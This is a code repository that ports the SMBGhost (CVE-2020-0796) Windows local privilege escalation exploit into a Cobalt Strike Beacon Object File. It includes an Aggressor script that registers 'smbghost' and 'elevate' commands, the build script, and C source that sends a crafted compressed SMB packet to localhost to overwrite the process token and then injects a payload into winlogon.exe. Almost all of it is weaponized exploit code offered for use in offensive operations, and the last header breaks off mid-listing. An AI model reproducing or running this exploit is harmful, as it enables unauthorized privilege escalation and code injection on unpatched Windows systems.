├── README.txt ├── dist ├── exploit.cna └── exploit.x64.o ├── make.bat └── src ├── beacon.h ├── exploit.c ├── exploit.h └── libc.c /README.txt: -------------------------------------------------------------------------------- 1 | This is Raphael's tinkering around with the SMBGhost LPE. 2 | 3 | I started with the source code from the Metasploit Framework: 4 | 5 | cve-2020-0796: SMBv3 Compression Buffer Overflow (SMBGhost) (CVE 2020-0796) 6 | https://github.com/rapid7/metasploit-framework/tree/master/external/source/exploits/CVE-2020-0796 7 | [BSD Licensed] 8 | 9 | And, here's what I did: 10 | 11 | 1. I converted the Reflective DLL to a Cobalt Strike 4.1 Beacon Object File. 12 | 13 | This required declaring several Win32 APIs in the Dynamic Function Resolution MODULE$Function format. 14 | On the bright side, this reduced some of the code to call things in NTDLL since DFR is handling that 15 | for us. :) 16 | 17 | I removed the unused 1,000 item ptr array from get_handle_addr. This was causing cl.exe to insert a 18 | __chkstk function due to the local variables exceeding an 8KB limit. BOFs don't have this function 19 | available to them. 20 | 21 | I then brought in a few Beacon-specific APIs (e.g., BeaconPrintf, BeaconInjectProcess, etc.) to do 22 | things using the Beacon-native way. 23 | 24 | I had to write a few functions to make up for libc stuff I don't have (due to... BOFs). 25 | 26 | 2. I split the code into two different weaponization paths: 27 | 28 | Use the 'smbghost' alias in Beacon, with no arguments, to run this exploit and impact the Beacon 29 | process token only. If the exploit succeeds, your current process token will have super powers it 30 | didn't have before. For example, you can now inject into other processes (even in other desktop 31 | sessions) or spawn a child process under winlogon.exe. You may need to run smbghost multiple times 32 | as the exploit doesn't always succeed on the first run. 33 | 34 | Optionally, use 'elevate smbghost' to obtain a new Beacon session using the privilege escalation API 35 | available in Cobalt Strike's Aggressor Script. This is OK for a quick demo, it fits the product's 36 | workflows, etc. but... it injects into winlogon.exe. Injecting into winlogon.exe is not an invariant 37 | of this particular elevation. I suspect all of the public POCs do it because CreateRemoteThread does 38 | not work across process boundaries and who wants to write the extra boiler plate for parent process 39 | spoofing? winlogon.exe is the easy low hanging fruit to demonstrate that we have elevated rights. 40 | 41 | To compile this with Visual Studio: 42 | 43 | Use make.bat from the x64 Cross Tools Command Prompt. 44 | 45 | This will output expoit.x64.o to dist/ 46 | 47 | I used Visual Studio 2013. Other compilers/versions weren't tested. I did not try/test x86. 48 | -------------------------------------------------------------------------------- /dist/exploit.cna: -------------------------------------------------------------------------------- 1 | # an alternate path... run the exploit without the "weaponization" of injecting into winlogon.exe. 2 | alias smbghost { 3 | local('$winbuild $handle $exploit'); 4 | 5 | # check if we're in an x64 session and error out if we're not 6 | if (barch($1) ne "x64") { 7 | berror($1, "cve-2020-0796 exploit is x64 only"); 8 | return; 9 | } 10 | 11 | # check the windows version 12 | $winbuild = binfo($1, "build"); 13 | if ($winbuild != 18362 && $winbuild != 18363) { 14 | berror($1, "This exploit only supports Windows 10 versions 1903 - 1909"); 15 | return; 16 | } 17 | 18 | # acknowledge this command 19 | btask($1, "Task Beacon to elevate current process via cve-2020-0796", "T1068"); 20 | 21 | # read in our BOF 22 | $handle = openf(script_resource("exploit.x64.o")); 23 | $exploit = readb($handle, -1); 24 | closef($handle); 25 | 26 | # spawn a Beacon post-ex job with the exploit DLL 27 | beacon_inline_execute($1, $exploit, "exploit_only", $null); 28 | } 29 | 30 | beacon_command_register("smbghost", 31 | "Try to apply powerful privileges to current process token.", 32 | "Synopsis: smbghost\n\nTry to apply powerful privileges to current process token. Try to inject or spawnu to an elevated process. This exploit may not succeed on the first try."); 33 | 34 | # Integrate windows/local/cve_2020_0796_smbghost from Metasploit 35 | # https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/cve_2020_0796_smbghost.rb 36 | sub cve_2020_0796_exploit_bof { 37 | local('$stager $winbuild $handle $exploit'); 38 | 39 | # check if we're in an x64 session and error out if we're not 40 | if (barch($1) ne "x64") { 41 | berror($1, "cve-2020-0796 exploit is x64 only"); 42 | return; 43 | } 44 | 45 | # check the windows version 46 | $winbuild = binfo($1, "build"); 47 | if ($winbuild != 18362 && $winbuild != 18363) { 48 | berror($1, "This exploit only supports Windows 10 versions 1903 - 1909"); 49 | return; 50 | } 51 | 52 | # note: this must be 0 or null. exploit will fail if compression is enabled. 53 | # reg queryv x64 HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters DisableCompression 54 | 55 | # acknowledge this command 56 | btask($1, "Task Beacon to run " . listener_describe($2) . " via cve-2020-0796", "T1068"); 57 | 58 | # generate our shellcode 59 | $stager = payload_local($1, $2, "x64", "thread"); 60 | 61 | # read in our BOF 62 | $handle = openf(script_resource("exploit.x64.o")); 63 | $exploit = readb($handle, -1); 64 | closef($handle); 65 | 66 | # spawn a Beacon post-ex job with the exploit DLL 67 | beacon_inline_execute($1, $exploit, "elevate", $stager); 68 | 69 | # link to our payload if it's a TCP or SMB Beacon 70 | beacon_link($1, $null, $2); 71 | } 72 | 73 | beacon_exploit_register("smbghost", "SMBv3 Compression Buffer Overflow (SMBGhost) (CVE 2020-0796) [BOF]", &cve_2020_0796_exploit_bof); 74 | -------------------------------------------------------------------------------- /dist/exploit.x64.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/rsmudge/CVE-2020-0796-BOF/5fede9cf38847642f2bf827b602a36712b59d210/dist/exploit.x64.o -------------------------------------------------------------------------------- /make.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | set PLAT="x86" 3 | IF "%Platform%"=="x64" set PLAT="x64" 4 | 5 | cl.exe /GS- /c src/exploit.c /Fodist/exploit.%PLAT%.o 6 | -------------------------------------------------------------------------------- /src/beacon.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Beacon Object Files (BOF) 3 | * ------------------------- 4 | * A Beacon Object File is a light-weight post exploitation tool that runs 5 | * with Beacon's inline-execute command. 6 | */ 7 | 8 | /* data API */ 9 | typedef struct { 10 | char * original; /* the original buffer [so we can free it] */ 11 | char * buffer; /* current pointer into our buffer */ 12 | int length; /* remaining length of data */ 13 | int size; /* total size of this buffer */ 14 | } datap; 15 | 16 | DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); 17 | DECLSPEC_IMPORT int BeaconDataInt(datap * parser); 18 | DECLSPEC_IMPORT short BeaconDataShort(datap * parser); 19 | DECLSPEC_IMPORT int BeaconDataLength(datap * parser); 20 | DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); 21 | 22 | /* format API */ 23 | typedef struct { 24 | char * original; /* the original buffer [so we can free it] */ 25 | char * buffer; /* current pointer into our buffer */ 26 | int length; /* remaining length of data */ 27 | int size; /* total size of this buffer */ 28 | } formatp; 29 | 30 | DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); 31 | DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); 32 | DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); 33 | DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len); 34 | DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...); 35 | DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); 36 | DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); 37 | 38 | /* Output Functions */ 39 | #define CALLBACK_OUTPUT 0x0 40 | #define CALLBACK_OUTPUT_OEM 0x1e 41 | #define CALLBACK_ERROR 0x0d 42 | #define CALLBACK_OUTPUT_UTF8 0x20 43 | 44 | DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...); 45 | DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len); 46 | 47 | /* Token Functions */ 48 | DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); 49 | DECLSPEC_IMPORT void BeaconRevertToken(); 50 | DECLSPEC_IMPORT BOOL BeaconIsAdmin(); 51 | 52 | /* Spawn+Inject Functions */ 53 | DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); 54 | DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); 55 | DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); 56 | DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); 57 | 58 | /* Utility Functions */ 59 | DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); 60 | -------------------------------------------------------------------------------- /src/exploit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * CVE-2020-0796 LPE 3 | * 4 | * Daniel Garcia Gutierrez (@danigargu) - danigargu[at]gmail.com 5 | * Manuel Blanco Parajon (@dialluvioso) - dialluvioso[at]protonmail.com 6 | * https://github.com/danigargu/CVE-2020-0796 7 | * Date: 03/29/2020 8 | * 9 | * Metasploit version (this is based on the MSF version): 10 | * https://github.com/rapid7/metasploit-framework/tree/master/external/source/exploits/CVE-2020-0796 11 | * 12 | **/ 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include "exploit.h" 22 | #include "beacon.h" 23 | 24 | #include "libc.c" 25 | 26 | DECLSPEC_IMPORT BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE); 27 | 28 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$CloseHandle(HANDLE); 29 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateRemoteThread(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); 30 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$CreateToolhelp32Snapshot(DWORD, DWORD); 31 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetCurrentProcess(); 32 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetCurrentProcessId(); 33 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetLastError(); 34 | DECLSPEC_IMPORT DWORD WINAPI KERNEL32$GetProcessId(HANDLE); 35 | DECLSPEC_IMPORT HGLOBAL WINAPI KERNEL32$GlobalAlloc(UINT uFlags,SIZE_T dwBytes); 36 | DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$OpenProcess(DWORD, BOOL, DWORD); 37 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32First(HANDLE, void *); 38 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$Process32Next(HANDLE, void *); 39 | DECLSPEC_IMPORT VOID WINAPI KERNEL32$Sleep(DWORD); 40 | DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$VirtualAllocEx(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); 41 | DECLSPEC_IMPORT BOOL WINAPI KERNEL32$WriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T * lpNumberOfBytesWritten); 42 | 43 | DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalAlloc(UINT, SIZE_T); 44 | DECLSPEC_IMPORT HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL); 45 | 46 | DECLSPEC_IMPORT u_short WSAAPI WS2_32$htons(u_short hostshort); 47 | DECLSPEC_IMPORT INT WSAAPI WS2_32$InetPtonW(INT Family, PCWSTR pszAddrString, PVOID pAddrBuf); 48 | DECLSPEC_IMPORT int WSAAPI WS2_32$connect(SOCKET s,const struct sockaddr *name,int namelen); 49 | DECLSPEC_IMPORT int WSAAPI WS2_32$recv(SOCKET s, char *buf, int len, int flags); 50 | DECLSPEC_IMPORT int WSAAPI WS2_32$send(SOCKET s, const char *buf, int len, int flags); 51 | DECLSPEC_IMPORT SOCKET WSAAPI WS2_32$socket(int af,int type,int protocol); 52 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSACleanup(void); 53 | DECLSPEC_IMPORT int WSAAPI WS2_32$WSAStartup(WORD wVersionRequested,LPWSADATA lpWSAData); 54 | 55 | DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$RtlCompressBuffer(USHORT, PUCHAR, ULONG, PUCHAR, ULONG, ULONG, PULONG, PVOID); 56 | DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$RtlGetCompressionWorkSpaceSize(IN USHORT CompressionFormatAndEngine, OUT PULONG CompressBufferWorkSpaceSize, OUT PULONG CompressFragmentWorkSpaceSize); 57 | DECLSPEC_IMPORT NTSTATUS WINAPI NTDLL$NtQuerySystemInformation(SYSTEM_INFORMATION_CLASS SystemInformationClass,PVOID SystemInformation,ULONG SystemInformationLength,PULONG ReturnLength); 58 | 59 | ULONG64 get_handle_addr(HANDLE h) { 60 | ULONG len = 20; 61 | NTSTATUS status = (NTSTATUS)0xc0000004; 62 | PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL; 63 | 64 | do { 65 | len *= 2; 66 | pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)KERNEL32$GlobalAlloc(GMEM_ZEROINIT, len); 67 | status = NTDLL$NtQuerySystemInformation(SystemExtendedHandleInformation, pHandleInfo, len, &len); 68 | } while (status == (NTSTATUS)0xc0000004); 69 | 70 | if (status != (NTSTATUS)0x0) { 71 | return 0; 72 | } 73 | 74 | DWORD mypid = KERNEL32$GetProcessId(KERNEL32$GetCurrentProcess()); 75 | for (int i = 0; i < pHandleInfo->NumberOfHandles; i++) { 76 | PVOID object = pHandleInfo->Handles[i].Object; 77 | ULONG_PTR handle = pHandleInfo->Handles[i].HandleValue; 78 | DWORD pid = (DWORD)pHandleInfo->Handles[i].UniqueProcessId; 79 | if (pid != mypid) 80 | continue; 81 | if (handle == (ULONG_PTR)h) 82 | return (ULONG64)object; 83 | } 84 | return 0; 85 | } 86 | 87 | ULONG64 get_process_token() { 88 | HANDLE token; 89 | HANDLE proc = KERNEL32$OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, KERNEL32$GetCurrentProcessId()); 90 | if (proc == INVALID_HANDLE_VALUE) 91 | return 0; 92 | 93 | ADVAPI32$OpenProcessToken(proc, TOKEN_ADJUST_PRIVILEGES, &token); 94 | return get_handle_addr(token); 95 | } 96 | 97 | int error_exit(SOCKET sock) { 98 | WS2_32$WSACleanup(); 99 | return EXIT_FAILURE; 100 | } 101 | 102 | int send_negotiation(SOCKET sock) { 103 | int err = 0; 104 | char response[8] = { 0 }; 105 | const uint8_t buf[] = { 106 | /* NetBIOS Wrapper */ 107 | 0x00, /* session */ 108 | 0x00, 0x00, 0xC4, /* length */ 109 | 110 | /* SMB Header */ 111 | 0xFE, 0x53, 0x4D, 0x42, /* protocol id */ 112 | 0x40, 0x00, /* structure size, must be 0x40 */ 113 | 0x00, 0x00, /* credit charge */ 114 | 0x00, 0x00, /* channel sequence */ 115 | 0x00, 0x00, /* channel reserved */ 116 | 0x00, 0x00, /* command */ 117 | 0x00, 0x00, /* credits requested */ 118 | 0x00, 0x00, 0x00, 0x00, /* flags */ 119 | 0x00, 0x00, 0x00, 0x00, /* chain offset */ 120 | 0x00, 0x00, 0x00, 0x00, /* message id */ 121 | 0x00, 0x00, 0x00, 0x00, 122 | 0x00, 0x00, 0x00, 0x00, /* reserved */ 123 | 0x00, 0x00, 0x00, 0x00, /* tree id */ 124 | 0x00, 0x00, 0x00, 0x00, /* session id */ 125 | 0x00, 0x00, 0x00, 0x00, 126 | 0x00, 0x00, 0x00, 0x00, /* signature */ 127 | 0x00, 0x00, 0x00, 0x00, 128 | 0x00, 0x00, 0x00, 0x00, 129 | 0x00, 0x00, 0x00, 0x00, 130 | 131 | /* SMB Negotiation Request */ 132 | 0x24, 0x00, /* structure size */ 133 | 0x08, 0x00, /* dialect count, 8 */ 134 | 0x00, 0x00, /* security mode */ 135 | 0x00, 0x00, /* reserved */ 136 | 0x7F, 0x00, 0x00, 0x00, /* capabilities */ 137 | 0x01, 0x02, 0xAB, 0xCD, /* guid */ 138 | 0x01, 0x02, 0xAB, 0xCD, 139 | 0x01, 0x02, 0xAB, 0xCD, 140 | 0x01, 0x02, 0xAB, 0xCD, 141 | 0x78, 0x00, /* negotiate context */ 142 | 0x00, 0x00, /* additional padding */ 143 | 0x02, 0x00, /* negotiate context count */ 144 | 0x00, 0x00, /* reserved 2 */ 145 | 0x02, 0x02, /* dialects, SMB 2.0.2 */ 146 | 0x10, 0x02, /* SMB 2.1 */ 147 | 0x22, 0x02, /* SMB 2.2.2 */ 148 | 0x24, 0x02, /* SMB 2.2.3 */ 149 | 0x00, 0x03, /* SMB 3.0 */ 150 | 0x02, 0x03, /* SMB 3.0.2 */ 151 | 0x10, 0x03, /* SMB 3.0.1 */ 152 | 0x11, 0x03, /* SMB 3.1.1 */ 153 | 0x00, 0x00, 0x00, 0x00, /* padding */ 154 | 155 | /* Preauth context */ 156 | 0x01, 0x00, /* type */ 157 | 0x26, 0x00, /* length */ 158 | 0x00, 0x00, 0x00, 0x00, /* reserved */ 159 | 0x01, 0x00, /* hash algorithm count */ 160 | 0x20, 0x00, /* salt length */ 161 | 0x01, 0x00, /* hash algorith, SHA512 */ 162 | 0x00, 0x00, 0x00, 0x00, /* salt */ 163 | 0x00, 0x00, 0x00, 0x00, 164 | 0x00, 0x00, 0x00, 0x00, 165 | 0x00, 0x00, 0x00, 0x00, 166 | 0x00, 0x00, 0x00, 0x00, 167 | 0x00, 0x00, 0x00, 0x00, 168 | 0x00, 0x00, 0x00, 0x00, 169 | 0x00, 0x00, 0x00, 0x00, 170 | 0x00, 0x00, /* pad */ 171 | 172 | /* Compression context */ 173 | 0x03, 0x00, /* type */ 174 | 0x0E, 0x00, /* length */ 175 | 0x00, 0x00, 0x00, 0x00, /* reserved */ 176 | 0x02, 0x00, /* compression algorithm count */ 177 | 0x00, 0x00, /* padding */ 178 | 0x01, 0x00, 0x00, 0x00, /* flags */ 179 | 0x02, 0x00, /* LZ77 */ 180 | 0x03, 0x00, /* LZ77+Huffman */ 181 | 0x00, 0x00, 0x00, 0x00, /* padding */ 182 | 0x00, 0x00, 0x00, 0x00 183 | }; 184 | 185 | if ((err = WS2_32$send(sock, (const char*)buf, sizeof(buf), 0)) != SOCKET_ERROR) { 186 | WS2_32$recv(sock, response, sizeof(response), 0); 187 | } 188 | 189 | return err; 190 | } 191 | 192 | int send_compressed(SOCKET sock, unsigned char* buffer, ULONG len) { 193 | int err = 0; 194 | char response[8] = { 0 }; 195 | 196 | const uint8_t buf[] = { 197 | /* NetBIOS Wrapper */ 198 | 0x00, 199 | 0x00, 0x00, 0x33, 200 | 201 | /* SMB Header */ 202 | 0xFC, 0x53, 0x4D, 0x42, /* protocol id */ 203 | 0xFF, 0xFF, 0xFF, 0xFF, /* original decompressed size, trigger arithmetic overflow */ 204 | 0x02, 0x00, /* compression algorithm, LZ77 */ 205 | 0x00, 0x00, /* flags */ 206 | 0x10, 0x00, 0x00, 0x00, /* offset */ 207 | }; 208 | 209 | uint8_t* packet = (uint8_t*)KERNEL32$LocalAlloc(0, sizeof(buf) + 0x10 + len); 210 | if (packet == NULL) { 211 | return error_exit(sock); 212 | } 213 | 214 | mycopy(packet, buf, sizeof(buf)); 215 | *(uint64_t*)(packet + sizeof(buf)) = 0x1FF2FFFFBC; 216 | *(uint64_t*)(packet + sizeof(buf) + 0x8) = 0x1FF2FFFFBC; 217 | mycopy(packet + sizeof(buf) + 0x10, buffer, len); 218 | 219 | if ((err = WS2_32$send(sock, (const char*)packet, sizeof(buf) + 0x10 + len, 0)) != SOCKET_ERROR) { 220 | WS2_32$recv(sock, response, sizeof(response), 0); 221 | } 222 | 223 | KERNEL32$LocalFree(packet); 224 | return err; 225 | } 226 | 227 | /* 228 | * The BOOL is not success or failure. TRUE means: stop trying. FALSE means: try again, if failed. 229 | */ 230 | BOOL inject(char * payload, int plen) { 231 | PROCESSENTRY32 entry; 232 | entry.dwSize = sizeof(PROCESSENTRY32); 233 | 234 | HANDLE snapshot = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 235 | 236 | int pid = -1; 237 | if (KERNEL32$Process32First(snapshot, &entry) == TRUE) { 238 | while (KERNEL32$Process32Next(snapshot, &entry) == TRUE) { 239 | if (mycmpi(entry.szExeFile, "winLOgoN.eXe")) { 240 | pid = entry.th32ProcessID; 241 | break; 242 | } 243 | } 244 | } 245 | KERNEL32$CloseHandle(snapshot); 246 | 247 | if (pid < 0) { 248 | BeaconPrintf(CALLBACK_ERROR, "Could not find winlogon.exe pid!"); 249 | return TRUE; 250 | } 251 | 252 | HANDLE hProc = KERNEL32$OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); 253 | if (hProc == NULL) { 254 | /* exploit failed, return FALSE to signal we should try again */ 255 | return FALSE; 256 | } 257 | 258 | /* follow Malleable C2's logic to inject into winlogon.exe */ 259 | BeaconInjectProcess(hProc, pid, payload, plen, 0, NULL, 0); 260 | 261 | /* we were successful... probably... BeaconInjectProcess reports its own errors */ 262 | return TRUE; 263 | } 264 | 265 | DWORD exploit() { 266 | WORD wVersionRequested = MAKEWORD(2, 2); 267 | WSADATA wsaData = { 0 }; 268 | SOCKET sock = INVALID_SOCKET; 269 | uint64_t ktoken = 0; 270 | 271 | int err = 0; 272 | 273 | if ((err = WS2_32$WSAStartup(wVersionRequested, &wsaData)) != 0) { 274 | return EXIT_FAILURE; 275 | } 276 | 277 | if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) { 278 | WS2_32$WSACleanup(); 279 | return EXIT_FAILURE; 280 | } 281 | 282 | sock = WS2_32$socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 283 | if (sock == INVALID_SOCKET) { 284 | WS2_32$WSACleanup(); 285 | return EXIT_FAILURE; 286 | } 287 | 288 | SOCKADDR_IN client; 289 | client.sin_family = AF_INET; 290 | client.sin_port = WS2_32$htons(445); 291 | WS2_32$InetPtonW(AF_INET, L"127.0.0.1", &client.sin_addr); 292 | 293 | if (WS2_32$connect(sock, (SOCKADDR*)&client, sizeof(client)) == SOCKET_ERROR) { 294 | return error_exit(sock); 295 | } 296 | 297 | if (send_negotiation(sock) == SOCKET_ERROR) { 298 | return error_exit(sock); 299 | } 300 | 301 | ULONG buffer_size = 0x1110; 302 | UCHAR* buffer = (UCHAR*)KERNEL32$LocalAlloc(0, buffer_size); 303 | if (buffer == NULL) { 304 | return error_exit(sock); 305 | } 306 | 307 | ktoken = get_process_token(); 308 | if (ktoken == 0) { 309 | return EXIT_FAILURE; 310 | } 311 | 312 | __stosb(buffer, 'A', 0x1108); 313 | *(uint64_t*)(buffer + 0x1108) = ktoken + 0x40; /* where we want to write */ 314 | 315 | ULONG CompressBufferWorkSpaceSize = 0; 316 | ULONG CompressFragmentWorkSpaceSize = 0; 317 | err = NTDLL$RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_XPRESS, 318 | &CompressBufferWorkSpaceSize, &CompressFragmentWorkSpaceSize); 319 | 320 | if (err != STATUS_SUCCESS) { 321 | return error_exit(sock); 322 | } 323 | 324 | ULONG FinalCompressedSize; 325 | UCHAR compressed_buffer[64]; 326 | LPVOID lpWorkSpace = KERNEL32$LocalAlloc(0, CompressBufferWorkSpaceSize); 327 | if (lpWorkSpace == NULL) { 328 | return error_exit(sock); 329 | } 330 | 331 | err = NTDLL$RtlCompressBuffer(COMPRESSION_FORMAT_XPRESS, buffer, buffer_size, 332 | compressed_buffer, sizeof(compressed_buffer), 4096, &FinalCompressedSize, lpWorkSpace); 333 | 334 | if (err != STATUS_SUCCESS) { 335 | KERNEL32$LocalFree(lpWorkSpace); 336 | return error_exit(sock); 337 | } 338 | 339 | if (send_compressed(sock, compressed_buffer, FinalCompressedSize) == SOCKET_ERROR) { 340 | return error_exit(sock); 341 | } 342 | 343 | WS2_32$WSACleanup(); 344 | return EXIT_SUCCESS; 345 | } 346 | 347 | /* 348 | * simply try the exploit and tell the user what they can do next. 349 | * 350 | * I'm exposing this option as elevate is weaponization window dressing. The injection into winlogon.exe 351 | * is not necessary. We can inject or spawnu (safer) if the exploit was successful. 352 | */ 353 | void exploit_only() { 354 | BeaconRevertToken(); /* if the user did make_token or something, we want to clear that */ 355 | 356 | if (exploit() != EXIT_SUCCESS) { 357 | BeaconPrintf(CALLBACK_ERROR, "Could not carry out exploit steps."); 358 | return; 359 | } 360 | else { 361 | BeaconPrintf(CALLBACK_OUTPUT, "Exploit executed. Your process token may have superpowers. Try to inject or spawnu into something elevated."); 362 | } 363 | } 364 | 365 | /* 366 | * elevate and spawn a session. 367 | */ 368 | void elevate(char * buff, int len) { 369 | int x; 370 | 371 | BeaconRevertToken(); /* if the user did make_token or something, we want to clear that */ 372 | 373 | for (x = 0;x < 5; x++) { 374 | /* try the actual exploit... */ 375 | if (exploit() != EXIT_SUCCESS) { 376 | BeaconPrintf(CALLBACK_ERROR, "Could not carry out exploit steps."); 377 | return; 378 | } 379 | 380 | /* try our inject... if we can find winlogon.exe and open it, the exploit succeeded 381 | but the injection failed. */ 382 | if (inject(buff, len)) 383 | return; 384 | 385 | KERNEL32$Sleep(1000); 386 | } 387 | 388 | /* if we're here... the exploit failed. */ 389 | BeaconPrintf(CALLBACK_ERROR, "Exploit failed (could not open winlogon.exe process): %d", KERNEL32$GetLastError()); 390 | } 391 | -------------------------------------------------------------------------------- /src/exploit.h: -------------------------------------------------------------------------------- 1 | #ifndef _EXPLOIT_H 2 | #define _EXPLOIT_H 3 | 4 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX { 5 | PVOID Object; 6 | ULONG_PTR UniqueProcessId; 7 | ULONG_PTR HandleValue; 8 | ULONG GrantedAccess; 9 | USHORT CreatorBackTraceIndex; 10 | USHORT ObjectTypeIndex; 11 | ULONG HandleAttributes; 12 | ULONG Reserved; 13 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO_EX; 14 | 15 | typedef struct _SYSTEM_HANDLE_INFORMATION_EX { 16 | ULONG_PTR NumberOfHandles; 17 | ULONG_PTR Reserved; 18 | SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; 19 | } SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX; 20 | 21 | typedef enum _SYSTEM_INFORMATION_CLASS { 22 | SystemBasicInformation = 0, 23 | SystemProcessorInformation = 1, 24 | SystemPerformanceInformation = 2, 25 | SystemTimeOfDayInformation = 3, 26 | SystemPathInformation = 4, 27 | SystemProcessInformation = 5, 28 | SystemCallCountInformation = 6, 29 | SystemDeviceInformation = 7, 30 | SystemProcessorPerformanceInformation = 8, 31 | SystemFlagsInformation = 9, 32 | SystemCallTimeInformation = 10, 33 | SystemModuleInformation = 11, 34 | SystemLocksInformation = 12, 35 | SystemStackTraceInformation = 13, 36 | SystemPagedPoolInformation = 14, 37 | SystemNonPagedPoolInformation = 15, 38 | SystemHandleInformation = 16, 39 | SystemObjectInformation = 17, 40 | SystemPageFileInformation = 18, 41 | SystemVdmInstemulInformation = 19, 42 | SystemVdmBopInformation = 20, 43 | SystemFileCacheInformation = 21, 44 | SystemPoolTagInformation = 22, 45 | SystemInterruptInformation = 23, 46 | SystemDpcBehaviorInformation = 24, 47 | SystemFullMemoryInformation = 25, 48 | SystemLoadGdiDriverInformation = 26, 49 | SystemUnloadGdiDriverInformation = 27, 50 | SystemTimeAdjustmentInformation = 28, 51 | SystemSummaryMemoryInformation = 29, 52 | SystemMirrorMemoryInformation = 30, 53 | SystemPerformanceTraceInformation = 31, 54 | SystemObsolete0 = 32, 55 | SystemExceptionInformation = 33, 56 | SystemCrashDumpStateInformation = 34, 57 | SystemKernelDebuggerInformation = 35, 58 | SystemContextSwitchInformation = 36, 59 | SystemRegistryQuotaInformation = 37, 60 | SystemExtendServiceTableInformation = 38, 61 | SystemPrioritySeperation = 39, 62 | SystemVerifierAddDriverInformation = 40, 63 | SystemVerifierRemoveDriverInformation = 41, 64 | SystemProcessorIdleInformation = 42, 65 | SystemLegacyDriverInformation = 43, 66 | SystemCurrentTimeZoneInformation = 44, 67 | SystemLookasideInformation = 45, 68 | SystemTimeSlipNotification = 46, 69 | SystemSessionCreate = 47, 70 | SystemSessionDetach = 48, 71 | SystemSessionInformation = 49, 72 | SystemRangeStartInformation = 50, 73 | SystemVerifierInformation = 51, 74 | SystemVerifierThunkExtend = 52, 75 | SystemSessionProcessInformation = 53, 76 | SystemLoadGdiDriverInSystemSpace = 54, 77 | SystemNumaProcessorMap = 55, 78 | SystemPrefetcherInformation = 56, 79 | SystemExtendedProcessInformation = 57, 80 | SystemRecommendedSharedDataAlignment = 58, 81 | SystemComPlusPackage = 59, 82 | SystemNumaAvailableMemory = 60, 83 | SystemProcessorPowerInformation = 61, 84 | SystemEmulationBasicInformation = 62, 85 | SystemEmulationProcessorInformation = 63, 86 | SystemExtendedHandleInformation = 64, 87 | SystemLostDelayedWriteInformation = 65, 88 | SystemBigPoolInformation = 66, 89 | SystemSessionPoolTagInformation = 67, 90 | SystemSessionMappedViewInformation = 68, 91 | SystemHotpatchInformation = 69, 92 | SystemObjectSecurityMode = 70, 93 | SystemWatchdogTimerHandler = 71, 94 | SystemWatchdogTimerInformation = 72, 95 | SystemLogicalProcessorInformation = 73, 96 | SystemWow64SharedInformationObsolete = 74, 97 | SystemRegisterFirmwareTableInformationHandler = 75, 98 | SystemFirmwareTableInformation = 76, 99 | SystemModuleInformationEx = 77, 100 | SystemVerifierTriageInformation = 78, 101 | SystemSuperfetchInformation = 79, 102 | SystemMemoryListInformation = 80, 103 | 